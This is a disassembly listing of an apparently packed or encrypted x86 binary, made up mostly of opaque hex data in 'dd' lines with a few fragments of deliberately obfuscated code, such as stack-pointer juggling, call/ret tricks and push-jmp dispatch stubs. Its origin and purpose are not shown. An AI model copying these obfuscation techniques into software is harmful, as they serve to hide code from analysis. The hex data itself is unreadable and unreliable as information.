0E7B631A4h, 0F0010C54h dd 6A462A09h, 0F60C67C6h, 3CCA90EEh, 0DC8F15DEh, 0B578D68Ch dd 0D2ECDB27h, 42A01B96h, 0D194F280h, 6EBE8D43h, 2EFC1369h dd 1941E66Bh, 5A2375ABh, 0F2CC82D2h, 0C927A2h, 0B513C67Ch dd 88E54EEh, 47C00C45h, 0C5158753h, 3D00CF4Ah, 22F00B51h dd 72D01CD2h, 106E21AFh, 61EFB14Dh, 5B0E5EAEh, 45A31E99h dd 0F545F87Ch, 0B511726h, 4585FF0h, 0D216189Fh, 4FF2A8F8h dd 9927EAF7h, 0AE74D24Dh, 6F257528h, 0CA510DCFh, 2D925599h dd 0D0595E0Fh, 82E4671Dh, 69000000h, 0AC0440Bh, 6514DB26h dd 0C67A796h, 0F54817F6h, 6AF60C67h, 1FE2401Ah, 3E8EDE91h dd 4F1573EEh, 13A163C1h, 0A75A1060h, 83FE8249h, 3636F1C0h dd 7127ADE3h, 2381FCBEh, 7A1DD361h, 4C35F8A0h, 252A47CCh dd 5CC2AE0h, 0FAA6047Fh, 9B51A154h, 85EDAF4Fh, 262D93C3h dd 49000000h, 159014DBh, 6768CB9Ah, 0A5F5F60Ch, 42F57F47h dd 0BA893CF2h, 0F60C6776h, 1CC6609h, 146AB63Ah, 1Fh, 9014DB30h dd 672D0EDDh, 9033F60Ch, 0E0642BB6h, 0F8BB1994h, 1322F16Ch dd 4CF60C67h, 4A6246FCh, 0FE79F474h, 6781B483h, 8EDEF60Ch dd 8DA13ACBh, 0B76D4447h, 13FED8E8h, 43128DFCh, 0F00B01F0h dd 0E69927E9h, 0A96CBC96h, 0C5093176h, 0E89BEB8Ah, 0EF3BC18Ah dd 9144C891h, 0D14C1CA2h, 51B48756h, 59A9F00Bh, 435928A3h dd 0ACFA1448h, 7215A95Ch, 0C0440DD8h, 0C74D1674h, 48064514h dd 32D5F60Ch, 8EDB018h, 0E6C6FB31h, 2FF8560Ch, 6CC2AA5h dd 0D424AA72h, 0CF1BD121h, 0F76F4AEBh, 0DBA28613h, 0BEA88C18h dd 570AB460h, 8A055107h, 27DA642Ch, 0C67907C9h, 0C82676h dd 0BEDCC076h, 2F327BFBh, 261BDE66h, 56F6AC73h, 96C353A4h dd 54E4h, 37A66900h, 0A7A24074h, 0C05E0A68h, 6F4A260Ah dd 43BE13F7h, 0E4971DE5h, 679B9A69h, 74C4F60Ch, 9C9F6E24h dd 0C1F60C67h, 0DABE8D71h, 901712DBh, 7D2CC733h, 0BEAA8EDEh dd 25198AFBh, 0C30E756h, 652878F6h, 0DF9566CFh, 965DBB36h dd 0E370540Ah, 30h, 0F76F4AFFh, 4CEFBE13h, 70F60C67h, 11C44A12h dd 179D63C1h, 2CA7F761h, 0CB7E0CCEh, 0BEE1C57Bh, 621E13FBh dd 0EDA3A7DFh, 12DB8E72h, 0AC90A68Ah, 926118DBh, 0F60C67A3h dd 691C6CBCh, 10E9099Ah, 1931D4F6h, 0D66534AFh, 87F608E6h dd 60238137h, 632A88D4h, 51AF2ADDh, 0F35107A5h, 33F5A82Ch dd 642BB690h, 32F494E0h, 7293C7B0h, 6Ch, 4BD199F7h, 0AE924898h dd 0D98C18DBh, 0AE38005Eh, 82B180FBh, 0DBF60C67h, 96853B8Bh dd 0F6C54028h, 0FC136B22h, 27AD74D2h, 0FC30B174h, 0C6054463h dd 96E6C076h, 6FF5BD1Bh, 22F16CBCh, 0F00B5C13h, 9346FC4Ch dd 2FE26E35h, 3516E26Ch, 2280668Ah, 7C02CA76h, 5AFD792Ch dd 0A12FF5C0h, 5ED951h, 0A7F7AA54h, 0E9F44EF1h, 6A4E9A26h dd 0B57E18DBh, 0B12CDF2Fh, 4B018B53h, 8B06625Ch, 137C50BCh dd 0F26DBDFCh, 3A4E4B2Fh, 0D389D9C5h, 43BEA387h, 0C67C174h dd 984E9EF6h, 28E310A9h, 0B4CB677Fh, 8609ED3Dh, 8C18DBA2h dd 9909EDA8h, 96C322E7h, 3F27h, 6F4A4300h, 673EFDCCh, 5C1FF60Ch dd 9561540Eh, 9DFB4BAFh, 48984BF1h, 43BE14F8h, 0DE911FE5h dd 2A09D88Eh, 33F60C67h, 0DABEFFE3h, 0B97C12DBh, 90F7DB2Bh dd 63F1B715h, 37E3C9ADh, 0FF000000h, 7CF76F4Ah, 10BC581Eh dd 1B6BBB6Eh, 7E621868h, 674CEFBEh, 3181F60Ch, 287F3B6h dd 0B126F586h, 0DABE17FBh, 0A68A12DBh, 0B9960BEh, 0B04EFA58h dd 0A75DADFDh, 18DB1AFEh, 0C127919h, 5DAD7E0Dh, 0A59867E2h dd 0BAF60C5Bh, 3201B46Ah, 0F610D591h, 4491A94Ch, 49A7F381h dd 0C4D58B82h, 0D0C61AA8h, 0BB8A0580h, 0F6089578h, 2CDF95E5h dd 0FE7907CEh, 974AF4A0h, 9EC571D4h, 6FBF7A3Bh, 0A14406B9h dd 0EF753C89h, 654103A3h, 5C8193C7h, 6000000h, 0A157E5A8h dd 7443BEBDh, 0F60C67C1h, 0F3CD531Ah, 0CC8FEDA3h, 209E8D40h dd 8EFECD48h, 4EFC1388h, 473104D3h, 0BE8DF00Bh, 0F00B477Fh dd 66B690E0h, 0D386D6B0h, 7326B275h, 14C74D15h, 8645DD80h dd 0E9D36B0Eh, 0DF3DDF8Bh, 8CDC8F1Dh, 27B578D6h, 0B19D60DBh dd 0DECCC445h, 0DBE4C87Eh, 0EAD98C18h, 9E1994D4h, 0ACD459DBh dd 0AD9A919h, 0F60CA02Bh, 0C0007134h, 3D2E8B13h, 0EDBC37EDh dd 0FC13E14Fh, 0F974C010h, 9A4DEF9Bh, 4AB0944Ah, 8613F76Fh dd 2352480Bh, 501B9AA5h, 18DBB69Ah, 9EDA88Ch, 0C322E799h dd 622796h, 31AC0000h, 0C67D362h, 863C8CF5h, 0E96F4AA2h dd 694D9D23h, 0E7CCFBBEh, 7F38799Bh, 75D34EC9h, 1F6F22AEh dd 1366D5A4h, 0A7F7F60Ch, 131322F1h, 0FC4CF60Ch, 0DBDABE18h dd 0D95A1712h, 70C77645h, 4898F60Ch, 8A665C85h, 0FDFD400Fh dd 1262F60Ch, 0AC90DEC2h, 44E3h, 430A6800h, 0AB5EE6AFh dd 71550B5Bh, 13F76F4Ah, 674CEFBEh, 3181F60Ch, 0E543BE4Dh dd 0FDE1971Dh, 0F8A12DBh, 0A265EBB1h, 8A15E282h, 0A68A400Eh dd 73F9FBBEh, 45CDAF4Ch, 0E3A6F682h, 957DA57Ah, 0F49D535Ch dd 8C18DB10h, 0E9B90AD9h, 0C164F610h, 0B995C69h, 129E61BFh dd 1A4E705Fh, 0F27E419Fh, 46F5C43Fh, 17F608E6h, 46C177C7h dd 17082D77h, 0E63282FCh, 846F4A02h, 0A95F9210h, 0FBDF2F88h dd 18DBA286h, 0FBBEA88Ch, 610CC839h, 9FEBA14Fh, 77FDC624h dd 0E799DDC1h, 2796C322h, 35h, 0F76F4A43h, 1F3AB97Ch, 0D439368Dh dd 0EFBE3A1Eh, 0F60C674Ch, 0BEDDC111h, 7C12DBDAh, 0D77521B5h dd 984D424h, 0C67FB3Ah, 0C41464F6h, 0E3AC90E0h, 4Eh, 846F4AFFh dd 16CEEA81h, 8064B422h, 0F9C843BEh, 0F60C673Ah, 4E1DD323h dd 0F60C67EFh, 0BEAC90E0h, 7443BEDAh, 0F60C67C1h, 47114CB5h dd 0AD87AAC1h, 8049A75Dh, 370681FCh, 0F60CB204h, 6F530959h dd 9860BEh, 0ADFDB03Eh, 0A45AAA5Dh, 18DB17FBh, 0B90AD98Ch dd 64F610E9h, 3FC58BE9h, 0E3863C8Ch, 2DBB7E4Bh, 34C083E1h dd 0F955BB9h, 0A3560C5Ch, 0E35E0AB4h, 17F74414h, 681D1FCh dd 0E879BC8Bh, 96E6F00Fh, 4AB094E0h, 8613F76Fh, 41FBBEA2h dd 0AE8D5C54h, 0AFF60CF5h, 2E289C5Fh, 0DD602FAAh, 82F60C2Fh dd 5B1E7C32h, 9EDE9CDh, 0C322E799h, 2F2796h, 0BE430000h dd 550B9960h, 2F135366h, 674CEFBEh, 0C111F60Ch, 0BEDABEDDh dd 81E5AEFBh, 0FFB514EFh, 7054D8A1h, 60BEAC90h, 45A109Eh dd 2Bh, 0E96F4A20h, 9CEC9F3Dh, 0EFBE684Ch, 0F60C674Ch dd 0BE4D3181h, 8A12DBDAh, 65EBB10Fh, 0C8AC62B2h, 4071FBBEh dd 0E67624C4h, 0DBA38730h, 2FB57E18h, 0FE692C7Ch, 0B994116Eh dd 3827DA2Ah, 0EC67E286h, 0DE0FAB29h, 8C63D310h, 7F7E8BBFh dd 6F3EF444h, 0FC13BEEDh, 9A78CE91h, 177080CBh, 0BE9F548h dd 0CA1A6AF0h, 9EEA3A14h, 3B846023h, 0E1301F93h, 73823C2Bh dd 0D70F9D00h, 26A1F185h, 1E100D57h, 18E762FAh, 0F606CF25h dd 0E79AEA3Ah, 0BF3AC689h, 60139961h, 0B00E5A10h, 28E51EDh dd 7430FFB2h, 3B4199F9h, 0AB662C0h, 0BD70C05Eh, 1023F26Dh dd 4DBD8026h, 8AA447FDh, 75F07C3Fh, 0DC35117h, 14A063C1h dd 0EC4F1E99h, 71BD8026h, 5AB86B21h, 0C95D10AEh, 0FEC10C26h dd 5C82672h, 126EC477h, 0F3000000h, 268AA978h, 75D3BD80h dd 247427ADh, 4D3A1ED4h, 8E2EDB69h, 2EBA7DDBh, 0C9571D7Bh dd 66F0B816h, 28E55B3h, 0A62AF14Fh, 43E995F3h, 0E3693290h dd 8210D230h dd 89517ECFh, 4C181E1h, 83000000h, 0C8704E9h, 0C895C24h dd 6A296824h, 2C890000h, 4EB16824h, 4890000h, 0D5B85024h dd 3504C41Eh, 0E9058E1h, 61B15ABDh, 58C52910h, 8904EC83h dd 4812424h, 424h, 0EC815800h, 4, 81242C89h, 7AA82434h dd 408F3E47h, 8708108h, 3E477AA8h, 5324048Bh, 0C381E389h dd 4, 8704C383h, 8B5C241Ch, 8951242Ch, 4C181E1h, 83000000h dd 0C8704C1h, 0A6E95C24h, 94FFFA08h, 4DF8613Bh, 783BD88h dd 0AE7CB40Dh, 55B83BA3h, 3060D73h, 52E0FFC5h, 0D341E49Bh dd 2D16273Ch, 3423E6FFh, 0D0DE294h, 733BFF58h, 0AD67A133h dd 62EF61Fh, 3313A326h, 73C51B8h, 0FD242BF5h, 112C1213h dd 0B3FC301h, 0F936E2C7h, 930FDA83h, 0E8014D17h, 7, 0D577E76Ch dd 66C266D1h, 5854C9BEh, 0C0815F50h, 6005h, 0E3C78166h dd 8BDB2B5Dh, 180C8BD1h, 9335C181h, 0F1814E51h, 746443FBh dd 1FF78166h, 0BEE981BDh, 0E85E9EF4h, 0Ah, 0DA0E6764h dd 6E3C8D3Ch, 0FE9ECC4h, 0F1000000h, 510EEC71h, 0AC3BB11Fh dd 9A78AAB1h, 515E70EFh, 8FD38B66h, 0F8501804h, 48B0F5Fh dd 66000000h, 83CCA4BFh, 0BF0F03EBh, 0E9524BF8h, 0Eh, 2811C860h dd 26DF8A2Ah, 1405D029h, 815F2176h, 0FFA094FBh, 86850FFFh dd 81FFFFFFh, 1383ADEEh, 0BA8D8D2Fh, 6A060D75h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 4A85C356h, 0CFC28166h, 8F0FBBh, 89000000h, 70A018Dh dd 14E906h, 592F0000h, 35354969h, 0E326C949h, 9AA01AC8h dd 690231C7h, 85C74B8Ch, 60714A5h, 60D8h, 13A98D89h, 85C70607h dd 6072FD5h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EBC35040h dd 80F44D8Ch, 0B5FFD9DFh, 607214Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0E9C35040h, 97FD85F8h, 7BB8FEB2h dd 0FF1AE9B8h, 71C1995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0B589A213h, 6070149h dd 95FF006Ah, 6071B69h, 1BEBC08Bh, 2B10C97Bh, 8358353Ah dd 38883B0h, 27B2D233h, 93AD6ED7h, 0AFBB7B7Eh, 0E8AECAF2h dd 12h, 3C41430Fh, 0BEF7BC2h, 98AF010Fh, 774DE174h, 10E85F9Bh dd 0FD000000h, 831778EDh, 723902E1h, 54F972B5h, 236D29EDh dd 71D49B5h, 0B25B5E06h, 6CC381EFh, 0F9000065h, 68h, 68D0F00h dd 89000000h, 71A4D9Dh, 958B5F06h, 6071D4Dh, 291F34FFh dd 719D9BDh, 0D4805906h, 0B3C18106h, 8A4991D9h, 98E981C5h dd 8A372DEAh, 38F181F5h, 665DCC39h, 51C32DBAh, 1C298533h dd 48F0607h, 0C7BF0F3Bh, 0A820Fh, 29600000h, 72EFD9Dh dd 61A2B506h, 5201EF83h, 31858509h, 4F580607h, 8D094F4Fh dd 6071151h, 9B70FF81h, 850FFFFFh, 0Dh, 0E9F08B66h, 24h dd 0DAA6F02Fh, 0C1BD89E4h, 0E9060706h, 0FFFFFF84h, 4D512C1Ch dd 0D0E18167h, 6A7D888Dh, 0FEDE0264h, 80D584EEh, 77BF8D8Dh dd 0E081060Dh, 0DC63608h, 0A018D89h, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 319BC1C3h dd 0B224728Eh, 0AE919h, 10ED0000h, 0DB116D8Fh, 0CA29B0C9h dd 14A585C7h, 713C0607h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0C07ED6C3h, 1DCD14CAh dd 9D89BEB8h, 6071F95h, 2FD585C7h, 607h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 407F97C3h, 168F0FB3h, 0E9000000h, 11h, 0F76AAEE5h, 3ED6BEAFh dd 81564868h, 76340042h, 4DB5FF01h, 6A060705h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 15A0C352h, 28B3EB1Ah, 95FFF88Ch, 6071C19h, 8E9h, 0BB0C0300h dd 0DB6DC96Eh, 0FF006A65h, 71B6995h, 0EBC08B06h, 2111F34Bh dd 76A1E0Dh, 54577B0Ah, 187898F3h, 96095395h, 371A097Fh dd 7ED77729h, 941EAFD7h, 22C58C83h, 893B3C68h, 0EA9825F8h dd 817BCC00h, 0AEF9BCADh, 5C03A336h, 0A81E9B98h, 85261303h dd 0C55F5DDBh, 5A413953h, 8E54C416h, 78F58D8Dh, 6A060Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0DA5B6BC3h, 1AFAE887h, 58C0Fh, 0B4BF0000h, 8978E6B8h dd 70A018Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 7C9827ADh, 0F3D08752h, 0A585C754h dd 2C060714h, 6000006Ah, 899D8B60h, 8906072Eh, 72825B5h dd 85896106h, 6071E69h, 0D585C761h, 6072Fh, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0E962C353h, 12h, 28E58E7Ah, 9E2399BEh, 43737B76h dd 0DCC7BFC5h, 0B5FFA46Eh, 607128Dh, 58E0Fh, 81660000h dd 0F912EFE0h, 1C1995FFh, 840F0607h, 7, 18F0Fh, 6AFC0000h dd 6995FF00h, 8B06071Bh, 0D00EEBC0h, 2067AE5h, 3070AB38h dd 8E9E2BA4h, 698D8D01h, 66060D79h, 1FB6C68Bh, 0A018D89h dd 0C7F50607h, 714A585h, 66A806h, 39858900h, 0C7060717h dd 72FD585h, 6, 0A8E48000h, 54DB5FFh, 14E90607h, 0B000000h dd 0EF26CDBFh, 81146E4Ch, 20208290h, 0F87471Eh, 0FFD9C54Dh dd 71C1995h, 0AD958B06h, 6A06071Ch, 6995FF00h, 8B06071Bh dd 954BEBC0h, 58F2057Eh, 89D1CEC6h, 0FD5E11A6h, 0C1C8B022h dd 576DCDE4h, 7DC1D3C6h, 6FD55D29h, 61612294h, 12D040E6h dd 2BEC3C2Bh, 0A9E1B846h, 0B4DD571Ah, 15C1A0Ch, 0F33FAFFEh dd 6881BC95h, 7D3A2395h, 4D860154h, 5A5683D6h, 4EB8785h dd 30FCC30h, 5A8E9h, 4AF29F00h, 50DEA0FEh, 57DDA604h, 5B01AD0Bh dd 66EAB10Fh, 0CE0F301Ah, 0CF2D7907h, 0D3317D07h, 0DD3B870Dh dd 0CF428E1Ah, 1EB68554h, 0C8A7F001h, 0ECFBBEE4h, 4FDDA092h dd 2A894C9Ch, 8655D0B2h, 0F60CA9B7h, 44A258A8h, 1A78F381h dd 6417CD53h, 65B13F06h, 5B84407h, 0A558E4A7h, 8006CC2Ah dd 1CAA6CCAh, 0F44EF169h, 0A06F26E9h, 0F60CA99Dh, 0C57847C2h dd 9AF60CA9h, 0D39CFA4Ah, 0F6469649h, 6BE4B87Bh, 0D26730B3h dd 0AC72D01Ch, 0B67CDA26h, 0D8F2B530h, 8581BB61h, 80DE9147h dd 1D7B2EB8h, 0BA18CB71h, 0BB15DF1h, 882B08BBh, 0FA9D31AEh dd 41CF9520h, 48D497F5h, 0DC7AC695h, 0BB67F60Ch, 37005E11h dd 0DB7EFAADh, 32AD8443h, 0D1870DD4h, 0C587142Eh, 593C3E9h dd 4Dh, 8C18DB21h, 67290AD9h, 9235F60Ch, 2F29EBB8h, 16993C3h dd 85000000h, 0D88B19DBh, 772AB87Ah, 54CF6D19h, 672B0AD9h dd 0E434F60Ch, 5B1D7B2Eh, 2E80DD5Ah, 0A5AA79Ch, 0AD33F957h dd 0A07A1DFAh, 2E08AB23h, 753E1A3h, 0E5AE6A9h, 0C843BE2Ah dd 0C673AF9h, 4D323F6h, 0F60C6731h, 0CA28DE2Eh, 6CCA7D03h dd 0BC620EAAh, 2BB158F9h, 8584BB2h, 0A52FF755h, 43D194F2h dd 0DD751890h, 3F1450ABh, 1565C4A3h, 0CE7AD853h, 7FD77A30h dd 0D925AB72h, 0B12CB87Bh, 94D46736h, 3989F60Ch, 0A972D083h dd 71C14F15h, 0E39860BEh, 0C942114h, 9EEE3EF6h, 3DCB8DEBh dd 0FB53F68Ah, 3610B3FCh, 0C41FB769h, 64F793h, 0DB130000h dd 7FDD9014h, 55B32EB6h, 2520593h, 7E21994Ch, 0CE5219A4h dd 0D75D2482h, 741AC624h, 8CAF7EF9h, 0D1F60C67h, 0CF18CB81h dd 2FAA122Ch, 0C67DD60h, 7C3282F6h, 0C32D2ADCh, 536A93h dd 0DB860000h, 7FDD9014h, 1A782BB9h, 0BB19CC52h, 29BD70F4h dd 522FAC86h, 0CF2D97AFh, 7BCB7E06h, 14A067C5h, 19DBE4C8h dd 0BABBBA7Dh, 9CA70D28h, 0FAADFD4Dh, 0C73052Bh, 98B255F6h dd 0F026D30h, 9EAC6815h, 37EA9440h, 0CF9131E7h, 0F93C3BEh dd 1, 8A12DB2Bh, 2AB679D7h, 0CC501977h, 70F4BB19h, 0E53DE0BDh dd 97AF52E6h, 0AFFB814Ah, 0EF6AFEC0h, 0C6541674h, 3E0DC313h dd 0FC139072h, 2B1C7F42h, 13026D6Bh, 3908835Dh, 0F00BD6FAh dd 10C31363h, 0E661EFB2h, 3C0BC088h, 0F00BD6F9h, 13C61666h dd 0B568ECB5h, 0BB71565h, 15FAB61h, 84FFB23Eh, 0D3C680C1h dd 0C77D1CCBh, 0BFC47F8h, 44D298F0h, 0E76D3391h, 842AD634h dd 0C8071FC2h, 0C6EE48EBh, 5107FE03h, 0D18713C1h, 0D824B073h dd 7629B77Ah, 0F1B95518h, 0BE0E9A5Dh, 56F9BB6Eh, 0A22EF1FCh dd 40F4B656h, 693499CAh, 50000001h, 0D9760BEh, 12566857h dd 8688C897h, 0ADFDFC13h, 0D8D99CFAh, 5B6B282Ch, 81CD1D65h dd 7B354306h, 4636C478h, 0E16F3290h, 540DD02Eh, 662B0AD9h dd 0E434F00Bh, 0B662615h, 62EAB3F0h, 64E7C588h, 0FF8AFB2Ah dd 68A51AFh, 0C64103B6h, 98A1A268h, 518BDB2Eh, 0A447FD4Dh dd 0F07C3F8Ah, 7E4204A4h, 2C8A99CAh, 0A124DA64h, 3Fh, 0CE8D4ABDh dd 0C673CFFh, 81D121F6h, 68B43706h, 0B909F60Ch, 67043706h dd 14B7F60Ch, 0CDB91E3Ah, 68008352h, 0BA7DF60Ch, 5FFE70ADh dd 0FF4B9B54h, 0C7A9h, 216B2E00h, 0E07174D0h, 4A775B11h dd 9220E674h, 0C43F8FDFh, 9F25EB49h, 88AA1AE9h, 0F772FC13h dd 9A9FFD34h, 4C1B55D7h, 0F00B0DE9h, 96702676h, 0A66DCB46h dd 53B1641Ah, 0C6890490h, 8E5D07C2h, 0F00BD1AFh, 149D60B0h dd 0D01CD240h, 0A621AF72h, 19D95C2Bh, 0C386F00Bh, 0EA1A8FDBh dd 0EAA0F01Ah, 6CDA6837h, 0E5ABF00Bh, 0F1E9AC5Fh, 472B24C5h dd 34B881DFh, 0CC660981h, 0B78F320Fh, 5ED9672Ah, 0DFA23E00h dd 0FE4E0151h, 0B10DFC48h, 856D3CB7h, 0EEFA1E64h, 0F040CE90h dd 651CDF3Dh, 69BA796h, 1868B8F6h, 0B63E0765h, 51DFA503h dd 41EC19Eh, 98BC654h, 4E9EE758h, 213F17BAh, 8150CB9Dh dd 0FC1320F9h, 0D2B60252h, 0C9A60BEh, 64530959h, 0D0930E5Ah dd 0C8E1C8B6h, 0F14413DDh, 6EF60C74h, 8453CE1Eh, 0F60C74B1h dd 2DA85EAEh, 19F2945Eh, 0FAADFDFCh, 0FF4BD99Ch, 0D752DEA1h dd 792CB079h, 0F1C07329h, 0FD02716Bh, 1EAB8326h, 58845A5Bh dd 0BA4AD7h, 26E964B0h, 41CC55CBh, 543E0184h, 78689F7Fh dd 0CB8EECA2h, 6EFFC23Dh, 33201BFh, 5CF50396h, 43C8490Ch dd 8A05B86Eh, 7FD400Fh, 1BDEF503h, 0B08ADA8Dh, 0A04CAA60h dd 14B74BFEh, 60ECAF3Ah, 8F3B9914h, 16D937EDh, 0DA2AB47Ch dd 2615E45Fh, 37F50307h, 287E31E7h, 17h, 9760BE44h, 70C3920Dh dd 0EDF60C67h, 80FBE79Dh, 22D55B22h, 0DB381CD2h, 7DDB8E2Eh dd 1D7B2EBAh, 0B816C957h, 55B366F0h, 0F14F028Eh, 95F3A62Ah dd 329043E9h, 0D230E369h, 7ECF8210h, 5E08950h, 4, 8704E883h dd 248B2404h, 22D06824h, 4890000h, 6F856824h, 3C890000h dd 0D685624h, 5E1B9D19h, 0EE81D6F7h, 29152BF5h, 8103E6C1h dd 60AE2CF6h, 5EF089DCh, 243C8B54h, 5004C483h, 8B08478Fh db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5438DD ; --------------------------------------------------------------------------- db 5Ah, 99h, 47h dd 7F8E34D8h, 7EEFB8F1h, 0C503060Dh, 0AFC9E0FFh, 689C6522h dd 2CA12C6Fh, 80FC259Dh, 0D97454E7h, 0A0B51DBBh, 7C445F9Eh dd 0F673104Dh, 883A4A6Bh, 8A2D7CC9h, 55F5404Dh, 13EB49E4h dd 7E6455FCh, 886D214Fh, 28483F98h, 0B4A542DCh, 525A5F19h dd 75723899h, 571825FEh, 2EAF015Ch, 8F691DCFh, 0A37731B2h dd 0A99733F5h, 0C75914D6h, 65C17879h, 578B79ABh, 649E7A8Fh dd 3D6E129Dh, 75B617BAh, 29B25CD1h, 14E877A2h, 50000000h dd 8D1147D8h, 0E145DFBFh, 291B37ACh, 2FC08973h, 0F179FB0h dd 28Dh, 5EC6B300h, 81D18B66h, 64F8C6h, 38C0F00h, 0F000000h dd 0C02BF9BFh, 0FDCB8166h, 60C8B7Bh, 14E8h, 59DC0800h dd 40CD0988h, 113A7FF1h, 0A1D0C50Ah, 9B9F84E8h, 0EE927h dd 96B30000h, 0D96E8B71h, 7176E494h, 4626B26Bh, 9FC1815Bh dd 8150D01Ah, 90ED5BF1h, 9E81Eh, 3E2B0000h, 8948616Bh dd 81992FDFh, 0FF6524F2h, 0C1815B2Bh, 29BFB4DEh, 0D02DB960h dd 0F605A8Ah, 84h, 61F78B00h, 11E85161h, 0D9000000h, 84A42B3Ah dd 5A9D641Bh, 0F6E7857Ah, 0AE92BCB0h, 48F5FF8h, 83D18B06h dd 0AE903E8h, 77000000h, 7BEF2BE3h, 0C96F809Ah, 816648DCh dd 81AB40DBh, 0FF9BFCF8h, 56850FFFh, 0E9FFFFFFh, 13h, 51489995h dd 0C4436431h, 1C525B23h, 0FE81BAB1h, 8DE94E2Fh, 0D81A18Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0BBA668Eh, 0CE8F9h, 288E0000h, 67B21201h dd 0A66D42FCh, 0ABEBAFDh, 586BA9B9h, 0A018D89h, 9E80607h dd 6F000000h, 3036BD8Dh, 0AB13564Ah, 0C75B34B4h, 714A585h dd 602006h, 0F4BA6600h, 0D585C752h, 6072Fh, 0FF000000h dd 705E1B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0E651F72Ch, 0E9F94CB0h, 0Bh, 6964A7D2h dd 0CC4A26AEh, 0FFDE2805h, 71C1995h, 5D9D0906h, 6A06072Dh dd 6995FF00h, 8B06071Bh, 0B60EEBC0h, 7EDC37D7h, 0DEEC218Eh dd 1F952C20h, 508D8D95h, 6A060D82h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3DC0C357h dd 89FCCDF9h, 7011985h, 18D8906h, 8906070Ah, 719E9B5h dd 0A585C706h, 40060714h, 0B200006Bh, 0EDB52902h, 0C7060706h dd 72FD585h, 6, 7400BF00h, 8B667F66h, 59B5FFDFh, 6A060715h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0EED6C352h, 3AAF936Ch, 8954B2A1h, 7123D8Dh dd 1995FF06h, 6606071Ch, 6AFB8Bh, 1B6995FFh, 0C08B0607h dd 0A96939EBh, 34CAE0D2h, 3A693830h, 0E412EB5Bh, 0B40A86E4h dd 0ACD66C83h, 0D1A18BC2h, 0E6F0EF1Ah, 6A7D421h, 0F9C25AD5h dd 4508DE84h, 0D568C1E4h, 0D55BEC4Ch, 7FF73ADDh, 0E91FF1E0h dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 60D829Ch, 3D08428Bh dd 78263845h, 138850Fh, 428B0000h, 184A8B0Ch, 0B4BBC8D3h dd 33288481h, 4E883C3h, 0A018589h, 588B0607h, 8BF88B04h dd 4A8B1042h, 0BEC8D318h, 9E504E48h, 0C72BC633h, 83FCE083h dd 858904E8h, 60714A5h, 8914428Bh, 72FD585h, 18428B06h dd 0B0E953h, 0B5FF0000h, 60705E1h, 0B9E9h, 59B5FF00h, 0E9060715h dd 0AEh, 2759B5FFh, 0A3E90607h, 0FF000000h, 70319B5h, 98E906h dd 0B5FF0000h, 607312Dh, 8DE9h, 0D5B5FF00h, 0E9060713h dd 82h, 0B09B5FFh, 77E90607h, 0FF000000h, 7026DB5h, 6CE906h dd 0B5FF0000h, 607128Dh, 61E9h, 4DB5FF00h, 0E9060721h dd 56h, 19D5B5FFh, 4BE90607h, 0FF000000h, 7010DB5h, 40E906h dd 0B5FF0000h, 607045Dh, 35E9h, 49B5FF00h, 0E906071Ah dd 2Ah, 0CDDB5FFh, 1FE90607h, 0FF000000h, 7054DB5h, 14E906h dd 0D88B0000h, 0BB8h, 0E3F76600h, 82FD8D8Dh, 0C803060Dh dd 95FFE1FFh, 6071C19h, 1858B5Bh, 3906070Ah, 850F0458h dd 0Fh, 0FF016A53h, 71B6995h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah dd 0D4C96AB8h, 8BE0FF77h, 70F1D85h, 0EB8D8D06h, 89060D83h dd 0C38B0141h, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 46252D35h dd 134EE9h, 86B16800h, 0C2E9060Dh, 68FFF9F7h, 60D87D7h dd 0F9F7B8E9h, 88B468FFh, 0AEE9060Dh, 68FFF9F7h, 60D89F4h dd 0F9F7A4E9h, 8A6868FFh, 9AE9060Dh, 68FFF9F7h, 60D8B11h dd 0F9F790E9h, 8BCD68FFh, 86E9060Dh, 68FFF9F7h, 60D8C70h dd 0F9F77CE9h, 8D1368FFh, 72E9060Dh, 68FFF9F7h, 60D8EBFh dd 0F9F768E9h, 8F9768FFh, 5EE9060Dh, 68FFF9F7h, 60D90BAh dd 0F9F754E9h, 923768FFh, 4AE9060Dh, 68FFF9F7h, 60D941Fh dd 